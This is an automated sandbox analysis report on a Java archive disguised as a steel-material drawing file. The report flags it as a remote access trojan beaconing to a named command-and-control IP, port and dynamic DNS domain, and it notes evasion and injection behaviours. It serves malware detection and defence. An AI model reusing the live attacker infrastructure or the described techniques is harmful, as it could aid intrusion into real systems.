Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
DWG Material, Standard BS 4360 GR. 40A43A.jar

Overview

General Information

Sample Name:DWG Material, Standard BS 4360 GR. 40A43A.jar
Analysis ID:705884
MD5:f5f4e477595a3a7070ee43f0e044b644
SHA1:26ce44fe72446eda537519d3d93253232a8bddca
SHA256:7cd39be56600bf17c8a7753c6be6d6aa91233294d1a3fe30afe2905adf1e286b
Infos:

Detection

Score:72
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Multi AV Scanner detection for domain / URL
Snort IDS alert for network traffic
Exploit detected, runtime environment starts unknown processes
Uses dynamic DNS services
Uses cacls to modify the permissions of files
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Uses code obfuscation techniques (call, push, ret)
Detected TCP or UDP traffic on non-standard ports
Internet Provider seen in connection with other malware
Detected potential crypto function
Contains functionality to query CPU information (cpuid)
Sample execution stops while process was sleeping (likely an evasion)
Creates a process in suspended mode (likely to inject code)
IP address seen in connection with other malware
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

  • System is w10x64
  • cmd.exe (PID: 244 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe" -javaagent:"C:\Users\user\AppData\Local\Temp\jartracer.jar" -jar "C:\Users\user\Desktop\DWG Material, Standard BS 4360 GR. 40A43A.jar"" >> C:\cmdlinestart.log 2>&1 MD5: F3BDBE3BB6F734E357235F4D5898582D)
    • conhost.exe (PID: 5020 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
    • java.exe (PID: 5192 cmdline: "C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe" -javaagent:"C:\Users\user\AppData\Local\Temp\jartracer.jar" -jar "C:\Users\user\Desktop\DWG Material, Standard BS 4360 GR. 40A43A.jar" MD5: 28733BA8C383E865338638DF5196E6FE)
      • icacls.exe (PID: 6060 cmdline: C:\Windows\system32\icacls.exe C:\ProgramData\Oracle\Java\.oracle_jre_usage /grant "everyone":(OI)(CI)M MD5: FF0D1D4317A44C951240FAE75075D501)
        • conhost.exe (PID: 6044 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • javaw.exe (PID: 5652 cmdline: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw" -jar "C:\Users\user\AppData\Local\Temp\dropbox3326252284114201190.jar MD5: 4BFEB2F64685DA09DEBB95FB981D4F65)
  • javaw.exe (PID: 732 cmdline: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe" -jar "C:\Users\user\AppData\Local\Temp\dropbox3326252284114201190.jar MD5: 4BFEB2F64685DA09DEBB95FB981D4F65)
  • javaw.exe (PID: 1652 cmdline: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe" -jar "C:\Users\user\AppData\Local\Temp\dropbox3326252284114201190.jar MD5: 4BFEB2F64685DA09DEBB95FB981D4F65)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

⊘No yara matches

Sigma Signatures

⊘No Sigma rule has matched

Snort Signatures

Timestamp:194.5.98.141192.168.2.35445497142811175 09/20/22-03:43:09.235557
SID:2811175
Source Port:5445
Destination Port:49714
Protocol:TCP
Classtype:A Network Trojan was detected
Timestamp:192.168.2.3194.5.98.1414971654452811176 09/20/22-03:43:09.236098
SID:2811176
Source Port:49716
Destination Port:5445
Protocol:TCP
Classtype:A Network Trojan was detected
Timestamp:192.168.2.3194.5.98.1414971454452811176 09/20/22-03:43:09.236313
SID:2811176
Source Port:49714
Destination Port:5445
Protocol:TCP
Classtype:A Network Trojan was detected
Timestamp:194.5.98.141192.168.2.35445497162811175 09/20/22-03:43:09.235529
SID:2811175
Source Port:5445
Destination Port:49716
Protocol:TCP
Classtype:A Network Trojan was detected
Timestamp:192.168.2.3194.5.98.1414971054452811176 09/20/22-03:43:09.235958
SID:2811176
Source Port:49710
Destination Port:5445
Protocol:TCP
Classtype:A Network Trojan was detected
Timestamp:194.5.98.141192.168.2.35445497102811175 09/20/22-03:43:09.235489
SID:2811175
Source Port:5445
Destination Port:49710
Protocol:TCP
Classtype:A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Multi AV Scanner detection for submitted file
Source: DWG Material, Standard BS 4360 GR. 40A43A.jarReversingLabs: Detection: 35%
Source: DWG Material, Standard BS 4360 GR. 40A43A.jarVirustotal: Detection: 25%Perma Link
Multi AV Scanner detection for domain / URL
Source: bestsuccess.ddns.netVirustotal: Detection: 13%Perma Link
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exeFile opened: C:\Program Files (x86)\Java\jre1.8.0_211\bin\msvcr100.dllJump to behavior

Software Vulnerabilities

barindex
Exploit detected, runtime environment starts unknown processes
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exeProcess created: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe

Networking

barindex
Snort IDS alert for network traffic
Source: TrafficSnort IDS: 2811176 ETPRO TROJAN Luminosity Link RAT CnC Beacon Outbound 192.168.2.3:49710 -> 194.5.98.141:5445
Source: TrafficSnort IDS: 2811175 ETPRO TROJAN Luminosity Link RAT CnC Beacon Inbound 194.5.98.141:5445 -> 192.168.2.3:49710
Source: TrafficSnort IDS: 2811176 ETPRO TROJAN Luminosity Link RAT CnC Beacon Outbound 192.168.2.3:49714 -> 194.5.98.141:5445
Source: TrafficSnort IDS: 2811175 ETPRO TROJAN Luminosity Link RAT CnC Beacon Inbound 194.5.98.141:5445 -> 192.168.2.3:49714
Source: TrafficSnort IDS: 2811176 ETPRO TROJAN Luminosity Link RAT CnC Beacon Outbound 192.168.2.3:49716 -> 194.5.98.141:5445
Source: TrafficSnort IDS: 2811175 ETPRO TROJAN Luminosity Link RAT CnC Beacon Inbound 194.5.98.141:5445 -> 192.168.2.3:49716
Uses dynamic DNS services
Source: unknownDNS query: name: bestsuccess.ddns.net
Source: global trafficTCP traffic: 192.168.2.3:49710 -> 194.5.98.141:5445
Source: Joe Sandbox ViewASN Name: DANILENKODE DANILENKODE
Source: Joe Sandbox ViewIP Address: 141.8.192.151 141.8.192.151
Source: Joe Sandbox ViewIP Address: 141.8.192.151 141.8.192.151
Source: global trafficHTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Tue, 20 Sep 2022 01:41:03 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingData Raw: 64 66 62 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e d0 9e d1 88 d0 b8 d0 b1 d0 ba d0 b0 20 34 30 33 30 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 62 6f 64 79 2c 68 31 2c 70 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 7d 2a 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 77 72 61 70 70 65 72 2c 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 31 30 30 25 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 66 6c 65 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 6f 7a 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 73 2d 66 6c 65 78 62 6f 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 77 65 62 6b 69 74 2d 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 2d 6d 6f 7a 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 6d 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 7d 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 69 6e 68 65 72 69 74 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 33 32 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 3b 2d 77 65 62 6b 69 74 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 2d 6d 6f 7a 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 3b 2d 6d 6f 7a 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 3b 2d 6d 73 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 70 61 64 64 69 6e 67 3a 31 32 38 70 78 20 31 36 70 78 20 30 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 2d 6d 6f 7a 2d 63 61 6c 63 28 31 30 30 76 68 20 2d 20 31 32 38 70 78 29 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 63 61 6c 63 28 31 30 30 76 68 20 2d 20 31 32 38 70 78 29 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69
Source: global trafficHTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Tue, 20 Sep 2022 01:41:14 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingData Raw: 64 66 62 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e d0 9e d1 88 d0 b8 d0 b1 d0 ba d0 b0 20 34 30 33 30 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 62 6f 64 79 2c 68 31 2c 70 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 7d 2a 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 77 72 61 70 70 65 72 2c 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 31 30 30 25 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 66 6c 65 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 6f 7a 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 73 2d 66 6c 65 78 62 6f 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 77 65 62 6b 69 74 2d 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 2d 6d 6f 7a 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 6d 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 7d 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 69 6e 68 65 72 69 74 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 33 32 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 3b 2d 77 65 62 6b 69 74 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 2d 6d 6f 7a 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 3b 2d 6d 6f 7a 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 3b 2d 6d 73 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 70 61 64 64 69 6e 67 3a 31 32 38 70 78 20 31 36 70 78 20 30 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 2d 6d 6f 7a 2d 63 61 6c 63 28 31 30 30 76 68 20 2d 20 31 32 38 70 78 29 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 63 61 6c 63 28 31 30 30 76 68 20 2d 20 31 32 38 70 78 29 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69
Source: global trafficHTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Tue, 20 Sep 2022 01:41:21 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingData Raw: 64 66 62 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e d0 9e d1 88 d0 b8 d0 b1 d0 ba d0 b0 20 34 30 33 30 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 62 6f 64 79 2c 68 31 2c 70 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 7d 2a 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 77 72 61 70 70 65 72 2c 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 31 30 30 25 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 66 6c 65 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 6f 7a 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 73 2d 66 6c 65 78 62 6f 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 77 65 62 6b 69 74 2d 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 2d 6d 6f 7a 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 6d 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 7d 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 69 6e 68 65 72 69 74 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 33 32 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 3b 2d 77 65 62 6b 69 74 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 2d 6d 6f 7a 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 3b 2d 6d 6f 7a 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 3b 2d 6d 73 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 70 61 64 64 69 6e 67 3a 31 32 38 70 78 20 31 36 70 78 20 30 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 2d 6d 6f 7a 2d 63 61 6c 63 28 31 30 30 76 68 20 2d 20 31 32 38 70 78 29 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 63 61 6c 63 28 31 30 30 76 68 20 2d 20 31 32 38 70 78 29 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69
Source: javaw.exe, 00000006.00000002.503599561.00000000052F9000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://bugreport.sun.com/bugreport/
Source: java.exe, 00000002.00000002.254206919.00000000054CD000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.511908350.000000000AB27000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.511628893.000000000AD27000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://cps.chambersign.org/cps/chambersroot.html
Source: java.exe, 00000002.00000002.255492377.000000000A819000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.255625798.000000000A8C0000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.253997459.000000000544C000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.254206919.00000000054CD000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.511908350.000000000AB27000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.504710006.00000000051D0000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.504468288.00000000053D7000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.511628893.000000000AD27000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://cps.chambersign.org/cps/chambersroot.html0
Source: java.exe, 00000002.00000002.254206919.00000000054CD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://cps.chambersign.org/cps/chambersroot.htmlS
Source: java.exe, 00000002.00000002.255492377.000000000A819000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.254206919.00000000054CD000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.511908350.000000000AB27000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.511628893.000000000AD27000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl.chambersign.org/chambersroot.crl
Source: java.exe, 00000002.00000002.255492377.000000000A819000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.255625798.000000000A8C0000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.253997459.000000000544C000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.254206919.00000000054CD000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.511908350.000000000AB27000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.504710006.00000000051D0000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.504468288.00000000053D7000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.511628893.000000000AD27000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl.chambersign.org/chambersroot.crl0
Source: java.exe, 00000002.00000002.254206919.00000000054CD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl.chambersign.org/chambersroot.crlCz
Source: java.exe, 00000002.00000002.254206919.00000000054CD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl.chambersign.org/chambersroot.crlk
Source: java.exe, 00000002.00000002.255492377.000000000A819000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.511908350.000000000AB27000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.511628893.000000000AD27000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl
Source: java.exe, 00000002.00000002.255492377.000000000A819000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.255625798.000000000A8C0000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.253997459.000000000544C000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.254206919.00000000054CD000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.511908350.000000000AB27000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.504710006.00000000051D0000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.504468288.00000000053D7000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.511628893.000000000AD27000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: java.exe, 00000002.00000002.255492377.000000000A819000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.254206919.00000000054CD000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.512799719.000000000ABB7000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.506666785.0000000005374000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.512492038.000000000ADB7000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.506404003.0000000005574000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.net/root-r2.crl
Source: java.exe, 00000002.00000002.255492377.000000000A819000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.255625798.000000000A8C0000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.253997459.000000000544C000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.254206919.00000000054CD000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.512799719.000000000ABB7000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.506666785.0000000005374000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.504710006.00000000051D0000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.504468288.00000000053D7000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.512492038.000000000ADB7000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.506404003.0000000005574000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: javaw.exe, 00000006.00000002.506404003.0000000005574000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.net/root-r2.crl;
Source: java.exe, 00000002.00000002.254206919.00000000054CD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.net/root-r2.crlC
Source: java.exe, 00000002.00000002.255492377.000000000A819000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.254206919.00000000054CD000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.511908350.000000000AB27000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.511628893.000000000AD27000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl.securetrust.com/STCA.crl
Source: java.exe, 00000002.00000002.255492377.000000000A819000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.255625798.000000000A8C0000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.253997459.000000000544C000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.254206919.00000000054CD000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.506666785.0000000005374000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.511908350.000000000AB27000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.504710006.00000000051D0000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.504468288.00000000053D7000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.511628893.000000000AD27000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.506404003.0000000005574000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl.securetrust.com/STCA.crl0
Source: java.exe, 00000002.00000002.254206919.00000000054CD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl.securetrust.com/STCA.crlKg
Source: java.exe, 00000002.00000002.254206919.00000000054CD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl.securetrust.com/STCA.crls
Source: java.exe, 00000002.00000002.255492377.000000000A819000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.254206919.00000000054CD000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.511908350.000000000AB27000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.511628893.000000000AD27000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl.xrampsecurity.com/XGCA.crl
Source: java.exe, 00000002.00000002.255492377.000000000A819000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.255625798.000000000A8C0000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.253997459.000000000544C000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.254206919.00000000054CD000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.511908350.000000000AB27000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.504710006.00000000051D0000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.504468288.00000000053D7000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.511628893.000000000AD27000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl.xrampsecurity.com/XGCA.crl0
